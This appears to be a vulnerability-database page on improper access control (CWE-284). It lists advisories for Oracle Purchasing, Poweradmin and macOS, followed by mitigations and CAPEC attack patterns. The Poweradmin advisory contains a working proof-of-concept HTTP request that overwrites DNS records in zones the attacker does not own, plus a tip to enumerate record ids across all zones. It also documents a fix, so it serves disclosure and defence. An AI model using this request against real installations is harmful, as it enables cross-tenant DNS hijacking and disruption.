  "affected": [],
  "aliases": [
    "CVE-2024-21132"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-284"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-07-16T23:15:13Z",
    "severity": "MODERATE"
  },
  "details": "Vulnerability in the Oracle Purchasing product of Oracle E-Business Suite (component: Approvals).  Supported versions that are affected are 12.2.3-12.2.13. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Purchasing.  Successful attacks require human interaction from a person other than the attacker and while the vulnerability is in Oracle Purchasing, attacks may significantly impact additional products (scope change). Successful attacks of this vulnerability can result in  unauthorized update, insert or delete access to some of Oracle Purchasing accessible data as well as  unauthorized read access to a subset of Oracle Purchasing accessible data. CVSS 3.1 Base Score 5.4 (Confidentiality and Integrity impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N).",
  "id": "GHSA-rm3x-hgp8-pvxp",
  "modified": "2024-07-17T00:32:54Z",
  "published": "2024-07-17T00:32:54Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-21132"
    },
    {
      "type": "WEB",
      "url": "https://www.oracle.com/security-alerts/cpujul2024.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-RM67-G9CH-VXFF

Vulnerability from github – Published: 2026-07-24 21:55 – Updated: 2026-07-24 21:55
VLAI
Summary
Poweradmin: Broken access control (IDOR): any zone owner can modify DNS records in zones they do not own
Details

Affected software

  • Product: Poweradmin (web front-end for PowerDNS)
  • Version tested: master, commit 7f28c3a97 (also reachable in the 4.x release line — the record-edit code is the same)
  • Component: record editing (web UI)
  • Vulnerability type: Broken Access Control / Insecure Direct Object Reference

Severity

Any authenticated user who owns at least one zone can tamper with records in every other zone on the server. In a shared/multi-tenant Poweradmin install this is effectively a cross-tenant DNS takeover.

Summary

When you save a record edit, Poweradmin checks whether you're allowed to touch the record by looking at a zone id you send in the POST body, but it then applies the change to a record id you also send in the POST body. Nothing checks that the record id actually belongs to that zone id. So you point the permission check at a zone you legitimately own, point the record id at somebody else's record, and the update goes through.

A low-privilege "Editor" who only owns attacker.example was able to overwrite a record living in victim.example (owned by the admin), even though the same account gets a flat "you do not have permission to access this zone" if it tries to open that zone directly.

Where the bug is

The core mistake is in RecordManager::editRecord() in lib/Domain/Service/Dns/RecordManager.php:

// line 298 – ownership is checked against the zone id from the request
$user_is_zone_owner = UserManager::verifyUserIsOwnerZoneId($this->db, $record['zid']);
...
// line 346 – but the update targets the record id from the request
$this->backendProvider->editRecord(
    $record['rid'], $name, $record['type'], $content, $validatedTtl, $validatedPrio, $record['disabled']
);

$record['zid'] and $record['rid'] are both taken straight from the submitted form. The permission gate uses one, the write uses the other, and they're never tied together.

The backend write has no zone scoping at all — lib/Infrastructure/Service/SqlDnsBackendProvider.php line 235:

$stmt = $this->db->prepare(
    "UPDATE $recordsTable SET name = ?, type = ?, content = ?, ttl = ?, prio = ?, disabled = ? WHERE id = ?"
);
$stmt->execute([$name, $type, $content, $ttl, $prio, $disabled, $recordId]);

It's WHERE id = ? on the record id and nothing else, so any record in the database is fair game.

The validation layer doesn't save it either. DnsRecordValidationService::validateRecord() (lib/Domain/Service/DnsRecordValidationService.php, around line 97) uses the zone id only to look up the zone name for hostname validation. It never verifies the record id lives in that zone.

There are two request paths that reach this same sink:

  1. Multi-record save — EditController::saveRecords() (lib/Application/Controller/EditController.php, ~line 571) loops over $_POST['record'] and hands each entry's rid/zid to editRecord() verbatim. The controller's run() only permission-checks the zone id in the URL (~line 204), not the zone id inside each record row.
  2. Single-record save — EditRecordController::saveRecord() reads $_POST['rid'] and forwards the whole $_POST (including the attacker-chosen zid) into editRecord().

For comparison, the delete path does it correctly. DeleteRecordController (~line 101) derives the zone id from the record id on the server side with getZoneIdFromRecordId() and checks permission against that. EditCommentController also uses the URL zone id for both the check and the write. So this really is an oversight in the edit path, not a deliberate design choice — the safe pattern already exists elsewhere in the same codebase.

Proof of concept

Setup (two accounts, two zones):

  • attacker — a normal user on the "Editor" permission template (zone_content_edit_own_as_client, i.e. can only edit records in zones it owns). Owns attacker.example, which is zone/domain id 3.
  • admin — owns victim.example, which is zone/domain id 2. That zone contains the record www.victim.example A 1.1.1.1 with record id 5.

Steps:

  1. Log in as attacker. Confirm the access control is actually there: browse to /zones/2/edit (victim.example). You get "You do not have permission to access this zone." Good — you genuinely can't edit that zone the normal way.

  2. Open your own zone's edit page, /zones/3/edit, and start a save (change any field and submit) with your intercepting proxy on. Catch the POST /zones/3/edit request. It already carries a valid CSRF _token and a valid serial for your zone, so don't touch those.

  3. Edit the record block in that request so it targets the victim's record while keeping your own zone id:

POST /zones/3/edit HTTP/1.1
Host: localhost:8080
Cookie: PHPSESSID=<your attacker session>
Content-Type: application/x-www-form-urlencoded

_token=<the valid token from step 2>&serial=<the valid serial from step 2>&commit=1
&record[5][rid]=5&record[5][zid]=3
&record[5][name]=pwned&record[5][type]=A&record[5][content]=6.6.6.6
&record[5][ttl]=3600&record[5][prio]=0

The important part: record[5][rid]=5 is the victim's record (in zone 2), and record[5][zid]=3 is your own zone (so the ownership check passes).

  1. Send it. You get HTTP 200.

  2. Check the result. Record 5, which lives in the admin's zone, is now overwritten:

sqlite> SELECT id, domain_id, name, type, content FROM records WHERE id = 5;
5|2|pwned.attacker.example|A|6.6.6.6

Screenshot 2026-07-06 162351

It's still domain_id = 2 (the victim's zone) but its content is now attacker-controlled. You changed a record in a zone you were explicitly denied access to in step 1.

Two practical notes if you're reproducing this:

  • The serial field is Poweradmin's optimistic-lock. It's checked against your own zone's current SOA serial and it bumps by one after every successful save, so grab a fresh one each time (the intercept-and-modify approach in step 2 handles this for you automatically).
  • Record ids are sequential integers, so in a real attack you'd just walk rid = 1, 2, 3, … to hit every record in every zone on the box.

Impact

With one owned zone, an attacker can rewrite content, type, ttl and the disabled flag of any record anywhere in the installation. Concretely that means:

  • Repointing or corrupting other customers' / other departments' DNS records (integrity).
  • Silently disabling records by setting disabled = 1 (availability).
  • A clean, resolvable hijack (victim's name kept intact) when the attacker owns a parent/ancestor zone of the target name — HostnameValidator::normalizeRecordName leaves the name alone if it already ends in the attacker's zone suffix, which is exactly the case in delegated-subzone setups (attacker owns example.com, victim owns delegated sub.example.com).

In the plain sibling-zone case the edited record's name gets forced under the attacker's zone suffix, which still destroys the original record — so at minimum it's cross-zone record deletion, and at most it's full record hijack.

The attacker's own CSRF token and own zone serial satisfy every form-level check, so nothing about the request looks abnormal to the app.

Suggested fix

Stop trusting the zid in the request. In RecordManager::editRecord() (and the EditRecordController path), look the zone up from the record id on the server side and use that for both the ownership check and the hostname normalization — the same thing deleteRecord() already does:

$details = $recordRepository->getRecordDetailsFromRecordId($record['rid']);
if ($details === null) {
    // record doesn't exist – reject
    return false;
}
$realZid = $details['zid'];
// use $realZid for verifyUserIsOwnerZoneId() and for zone-name normalization

Reject the edit if the record doesn't exist, and never let the client decide which zone a record "belongs" to.

Disclosure

Credit: Found by Saif Salah (https://saifsalah.github.io/) Found during a security review of Poweradmin.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "poweradmin/poweradmin"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "3.0.0"
            },
            {
              "fixed": "3.9.11"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "poweradmin/poweradmin"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "4.0.0"
            },
            {
              "fixed": "4.2.5"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "poweradmin/poweradmin"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "4.3.0"
            },
            {
              "fixed": "4.3.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-284",
      "CWE-639"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-24T21:55:15Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "## Affected software\n\n- Product: Poweradmin (web front-end for PowerDNS)\n- Version tested: master, commit 7f28c3a97 (also reachable in the 4.x release line \u2014 the record-edit code is the same)\n- Component: record editing (web UI)\n- Vulnerability type: Broken Access Control / Insecure Direct Object Reference\n\n## Severity\n\nAny authenticated user who owns at least one zone can tamper with records in every other zone on the server. In a shared/multi-tenant Poweradmin install this is effectively a cross-tenant DNS takeover.\n\n## Summary\n\nWhen you save a record edit, Poweradmin checks whether you\u0027re allowed to touch the record by looking at a zone id you send in the POST body, but it then applies the change to a record id you also send in the POST body. Nothing checks that the record id actually belongs to that zone id. So you point the permission check at a zone you legitimately own, point the record id at somebody else\u0027s record, and the update goes through.\n\nA low-privilege \"Editor\" who only owns `attacker.example` was able to overwrite a record living in `victim.example` (owned by the admin), even though the same account gets a flat \"you do not have permission to access this zone\" if it tries to open that zone directly.\n\n## Where the bug is\n\nThe core mistake is in `RecordManager::editRecord()` in `lib/Domain/Service/Dns/RecordManager.php`:\n\n```php\n// line 298 \u2013 ownership is checked against the zone id from the request\n$user_is_zone_owner = UserManager::verifyUserIsOwnerZoneId($this-\u003edb, $record[\u0027zid\u0027]);\n...\n// line 346 \u2013 but the update targets the record id from the request\n$this-\u003ebackendProvider-\u003eeditRecord(\n    $record[\u0027rid\u0027], $name, $record[\u0027type\u0027], $content, $validatedTtl, $validatedPrio, $record[\u0027disabled\u0027]\n);\n```\n\n`$record[\u0027zid\u0027]` and `$record[\u0027rid\u0027]` are both taken straight from the submitted form. The permission gate uses one, the write uses the other, and they\u0027re never tied together.\n\nThe backend write has no zone scoping at all \u2014 `lib/Infrastructure/Service/SqlDnsBackendProvider.php` line 235:\n\n```php\n$stmt = $this-\u003edb-\u003eprepare(\n    \"UPDATE $recordsTable SET name = ?, type = ?, content = ?, ttl = ?, prio = ?, disabled = ? WHERE id = ?\"\n);\n$stmt-\u003eexecute([$name, $type, $content, $ttl, $prio, $disabled, $recordId]);\n```\n\nIt\u0027s `WHERE id = ?` on the record id and nothing else, so any record in the database is fair game.\n\nThe validation layer doesn\u0027t save it either. `DnsRecordValidationService::validateRecord()` (`lib/Domain/Service/DnsRecordValidationService.php`, around line 97) uses the zone id only to look up the zone name for hostname validation. It never verifies the record id lives in that zone.\n\nThere are two request paths that reach this same sink:\n\n1. Multi-record save \u2014 `EditController::saveRecords()` (`lib/Application/Controller/EditController.php`, ~line 571) loops over `$_POST[\u0027record\u0027]` and hands each entry\u0027s `rid`/`zid` to `editRecord()` verbatim. The controller\u0027s `run()` only permission-checks the zone id in the URL (~line 204), not the zone id inside each record row.\n2. Single-record save \u2014 `EditRecordController::saveRecord()` reads `$_POST[\u0027rid\u0027]` and forwards the whole `$_POST` (including the attacker-chosen `zid`) into `editRecord()`.\n\nFor comparison, the delete path does it correctly. `DeleteRecordController` (~line 101) derives the zone id from the record id on the server side with `getZoneIdFromRecordId()` and checks permission against that. `EditCommentController` also uses the URL zone id for both the check and the write. So this really is an oversight in the edit path, not a deliberate design choice \u2014 the safe pattern already exists elsewhere in the same codebase.\n\n## Proof of concept\n\nSetup (two accounts, two zones):\n\n- `attacker` \u2014 a normal user on the \"Editor\" permission template (`zone_content_edit_own_as_client`, i.e. can only edit records in zones it owns). Owns `attacker.example`, which is zone/domain id 3.\n- `admin` \u2014 owns `victim.example`, which is zone/domain id 2. That zone contains the record `www.victim.example  A  1.1.1.1` with record id 5.\n\nSteps:\n\n1. Log in as `attacker`. Confirm the access control is actually there: browse to `/zones/2/edit` (victim.example). You get \"You do not have permission to access this zone.\" Good \u2014 you genuinely can\u0027t edit that zone the normal way.\n\n2. Open your own zone\u0027s edit page, `/zones/3/edit`, and start a save (change any field and submit) with your intercepting proxy on. Catch the `POST /zones/3/edit` request. It already carries a valid CSRF `_token` and a valid `serial` for your zone, so don\u0027t touch those.\n\n3. Edit the record block in that request so it targets the victim\u0027s record while keeping your own zone id:\n\n```\nPOST /zones/3/edit HTTP/1.1\nHost: localhost:8080\nCookie: PHPSESSID=\u003cyour attacker session\u003e\nContent-Type: application/x-www-form-urlencoded\n\n_token=\u003cthe valid token from step 2\u003e\u0026serial=\u003cthe valid serial from step 2\u003e\u0026commit=1\n\u0026record[5][rid]=5\u0026record[5][zid]=3\n\u0026record[5][name]=pwned\u0026record[5][type]=A\u0026record[5][content]=6.6.6.6\n\u0026record[5][ttl]=3600\u0026record[5][prio]=0\n```\n\nThe important part: `record[5][rid]=5` is the victim\u0027s record (in zone 2), and `record[5][zid]=3` is your own zone (so the ownership check passes).\n\n4. Send it. You get HTTP 200.\n\n5. Check the result. Record 5, which lives in the admin\u0027s zone, is now overwritten:\n\n```\nsqlite\u003e SELECT id, domain_id, name, type, content FROM records WHERE id = 5;\n5|2|pwned.attacker.example|A|6.6.6.6\n```\n\n\u003cimg width=\"3363\" height=\"1311\" alt=\"Screenshot 2026-07-06 162351\" src=\"https://github.com/user-attachments/assets/a2013e3b-0993-42ac-9402-7933e6d9331f\" /\u003e\n\n\nIt\u0027s still `domain_id = 2` (the victim\u0027s zone) but its content is now attacker-controlled. You changed a record in a zone you were explicitly denied access to in step 1.\n\nTwo practical notes if you\u0027re reproducing this:\n\n- The `serial` field is Poweradmin\u0027s optimistic-lock. It\u0027s checked against **your own** zone\u0027s current SOA serial and it bumps by one after every successful save, so grab a fresh one each time (the intercept-and-modify approach in step 2 handles this for you automatically).\n- Record ids are sequential integers, so in a real attack you\u0027d just walk `rid = 1, 2, 3, \u2026` to hit every record in every zone on the box.\n\n## Impact\n\nWith one owned zone, an attacker can rewrite `content`, `type`, `ttl` and the `disabled` flag of any record anywhere in the installation. Concretely that means:\n\n- Repointing or corrupting other customers\u0027 / other departments\u0027 DNS records (integrity).\n- Silently disabling records by setting `disabled = 1` (availability).\n- A clean, resolvable hijack (victim\u0027s name kept intact) when the attacker owns a parent/ancestor zone of the target name \u2014 `HostnameValidator::normalizeRecordName` leaves the name alone if it already ends in the attacker\u0027s zone suffix, which is exactly the case in delegated-subzone setups (attacker owns `example.com`, victim owns delegated `sub.example.com`).\n\nIn the plain sibling-zone case the edited record\u0027s name gets forced under the attacker\u0027s zone suffix, which still destroys the original record \u2014 so at minimum it\u0027s cross-zone record deletion, and at most it\u0027s full record hijack.\n\nThe attacker\u0027s own CSRF token and own zone serial satisfy every form-level check, so nothing about the request looks abnormal to the app.\n\n## Suggested fix\n\nStop trusting the `zid` in the request. In `RecordManager::editRecord()` (and the `EditRecordController` path), look the zone up from the record id on the server side and use that for both the ownership check and the hostname normalization \u2014 the same thing `deleteRecord()` already does:\n\n```php\n$details = $recordRepository-\u003egetRecordDetailsFromRecordId($record[\u0027rid\u0027]);\nif ($details === null) {\n    // record doesn\u0027t exist \u2013 reject\n    return false;\n}\n$realZid = $details[\u0027zid\u0027];\n// use $realZid for verifyUserIsOwnerZoneId() and for zone-name normalization\n```\n\nReject the edit if the record doesn\u0027t exist, and never let the client decide which zone a record \"belongs\" to.\n\n## Disclosure\nCredit: Found by Saif Salah (https://saifsalah.github.io/)\nFound during a security review of Poweradmin.",
  "id": "GHSA-rm67-g9ch-vxff",
  "modified": "2026-07-24T21:55:15Z",
  "published": "2026-07-24T21:55:15Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/poweradmin/poweradmin/security/advisories/GHSA-rm67-g9ch-vxff"
    },
    {
      "type": "WEB",
      "url": "https://github.com/poweradmin/poweradmin/commit/12651facf49a6d9ebeb38f01e65f4aa5bfbc4da0"
    },
    {
      "type": "WEB",
      "url": "https://github.com/poweradmin/poweradmin/commit/88f443d0bde9812ff8d00c094882c8b8e7303c49"
    },
    {
      "type": "WEB",
      "url": "https://github.com/poweradmin/poweradmin/commit/e021067157491ea70b8e333dc3f6a1ddf7e8e746"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/poweradmin/poweradmin"
    },
    {
      "type": "WEB",
      "url": "https://github.com/poweradmin/poweradmin/releases/tag/v3.9.11"
    },
    {
      "type": "WEB",
      "url": "https://github.com/poweradmin/poweradmin/releases/tag/v4.2.5"
    },
    {
      "type": "WEB",
      "url": "https://github.com/poweradmin/poweradmin/releases/tag/v4.3.4"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Poweradmin: Broken access control (IDOR): any zone owner can modify DNS records in zones they do not own"
}

GHSA-RM6G-85H6-PJ5P

Vulnerability from github – Published: 2026-07-27 21:31 – Updated: 2026-07-30 21:31
VLAI
Details

An access issue was addressed with improved access restrictions. This issue is fixed in macOS Sonoma 14.8.8, macOS Tahoe 26.6. An app may be able to access user-sensitive data.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-43760"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-284"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-07-27T21:17:00Z",
    "severity": "MODERATE"
  },
  "details": "An access issue was addressed with improved access restrictions. This issue is fixed in macOS Sonoma 14.8.8, macOS Tahoe 26.6. An app may be able to access user-sensitive data.",
  "id": "GHSA-rm6g-85h6-pj5p",
  "modified": "2026-07-30T21:31:27Z",
  "published": "2026-07-27T21:31:24Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-43760"
    },
    {
      "type": "WEB",
      "url": "https://reverse.put.as/2026/07/29/its-a-pre-auth-stupid"
    },
    {
      "type": "WEB",
      "url": "https://support.apple.com/en-us/128067"
    },
    {
      "type": "WEB",
      "url": "https://support.apple.com/en-us/128072"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

Mitigation MIT-1
Architecture and Design Operation

Very carefully manage the setting, management, and handling of privileges. Explicitly manage trust zones in the software.

Mitigation MIT-46
Architecture and Design

Strategy: Separation of Privilege

  • Compartmentalize the system to have "safe" areas where trust boundaries can be unambiguously drawn. Do not allow sensitive data to go outside of the trust boundary and always be careful when interfacing with a compartment outside of the safe area.
  • Ensure that appropriate compartmentalization is built into the system design, and the compartmentalization allows for and reinforces privilege separation functionality. Architects and designers should rely on the principle of least privilege to decide the appropriate time to use privileges and the time to drop privileges.
CAPEC-19: Embedding Scripts within Scripts

An adversary leverages the capability to execute their own script by embedding it within other scripts that the target software is likely to execute due to programs' vulnerabilities that are brought on by allowing remote hosts to execute scripts.

CAPEC-441: Malicious Logic Insertion

An adversary installs or adds malicious logic (also known as malware) into a seemingly benign component of a fielded system. This logic is often hidden from the user of the system and works behind the scenes to achieve negative impacts. With the proliferation of mass digital storage and inexpensive multimedia devices, Bluetooth and 802.11 support, new attack vectors for spreading malware are emerging for things we once thought of as innocuous greeting cards, picture frames, or digital projectors. This pattern of attack focuses on systems already fielded and used in operation as opposed to systems and their components that are still under development and part of the supply chain.

CAPEC-478: Modification of Windows Service Configuration

An adversary exploits a weakness in access control to modify the execution parameters of a Windows service. The goal of this attack is to execute a malicious binary in place of an existing service.

CAPEC-479: Malicious Root Certificate

An adversary exploits a weakness in authorization and installs a new root certificate on a compromised system. Certificates are commonly used for establishing secure TLS/SSL communications within a web browser. When a user attempts to browse a website that presents a certificate that is not trusted an error message will be displayed to warn the user of the security risk. Depending on the security settings, the browser may not allow the user to establish a connection to the website. Adversaries have used this technique to avoid security warnings prompting users when compromised systems connect over HTTPS to adversary controlled web servers that spoof legitimate websites in order to collect login credentials.

CAPEC-502: Intent Spoof

An adversary, through a previously installed malicious application, issues an intent directed toward a specific trusted application's component in an attempt to achieve a variety of different objectives including modification of data, information disclosure, and data injection. Components that have been unintentionally exported and made public are subject to this type of an attack. If the component trusts the intent's action without verififcation, then the target application performs the functionality at the adversary's request, helping the adversary achieve the desired negative technical impact.

CAPEC-503: WebView Exposure

An adversary, through a malicious web page, accesses application specific functionality by leveraging interfaces registered through WebView's addJavascriptInterface API. Once an interface is registered to WebView through addJavascriptInterface, it becomes global and all pages loaded in the WebView can call this interface.

CAPEC-536: Data Injected During Configuration

An attacker with access to data files and processes on a victim's system injects malicious data into critical operational data during configuration or recalibration, causing the victim's system to perform in a suboptimal manner that benefits the adversary.

CAPEC-546: Incomplete Data Deletion in a Multi-Tenant Environment

An adversary obtains unauthorized information due to insecure or incomplete data deletion in a multi-tenant environment. If a cloud provider fails to completely delete storage and data from former cloud tenants' systems/resources, once these resources are allocated to new, potentially malicious tenants, the latter can probe the provided resources for sensitive information still there.

CAPEC-550: Install New Service

When an operating system starts, it also starts programs called services or daemons. Adversaries may install a new service which will be executed at startup (on a Windows system, by modifying the registry). The service name may be disguised by using a name from a related operating system or benign software. Services are usually run with elevated privileges.

CAPEC-551: Modify Existing Service

When an operating system starts, it also starts programs called services or daemons. Modifying existing services may break existing services or may enable services that are disabled/not commonly used.

CAPEC-552: Install Rootkit

An adversary exploits a weakness in authentication to install malware that alters the functionality and information provide by targeted operating system API calls. Often referred to as rootkits, it is often used to hide the presence of programs, files, network connections, services, drivers, and other system components.

CAPEC-556: Replace File Extension Handlers

When a file is opened, its file handler is checked to determine which program opens the file. File handlers are configuration properties of many operating systems. Applications can modify the file handler for a given file extension to call an arbitrary program when a file with the given extension is opened.

CAPEC-558: Replace Trusted Executable

An adversary exploits weaknesses in privilege management or access control to replace a trusted executable with a malicious version and enable the execution of malware when that trusted executable is called.

CAPEC-562: Modify Shared File

An adversary manipulates the files in a shared location by adding malicious programs, scripts, or exploit code to valid content. Once a user opens the shared content, the tainted content is executed.

CAPEC-563: Add Malicious File to Shared Webroot

An adversaries may add malicious content to a website through the open file share and then browse to that content with a web browser to cause the server to execute the content. The malicious content will typically run under the context and permissions of the web server process, often resulting in local system or administrative privileges depending on how the web server is configured.

CAPEC-564: Run Software at Logon

Operating system allows logon scripts to be run whenever a specific user or users logon to a system. If adversaries can access these scripts, they may insert additional code into the logon script. This code can allow them to maintain persistence or move laterally within an enclave because it is executed every time the affected user or users logon to a computer. Modifying logon scripts can effectively bypass workstation and enclave firewalls. Depending on the access configuration of the logon scripts, either local credentials or a remote administrative account may be necessary.

CAPEC-578: Disable Security Software

An adversary exploits a weakness in access control to disable security tools so that detection does not occur. This can take the form of killing processes, deleting registry keys so that tools do not start at run time, deleting log files, or other methods.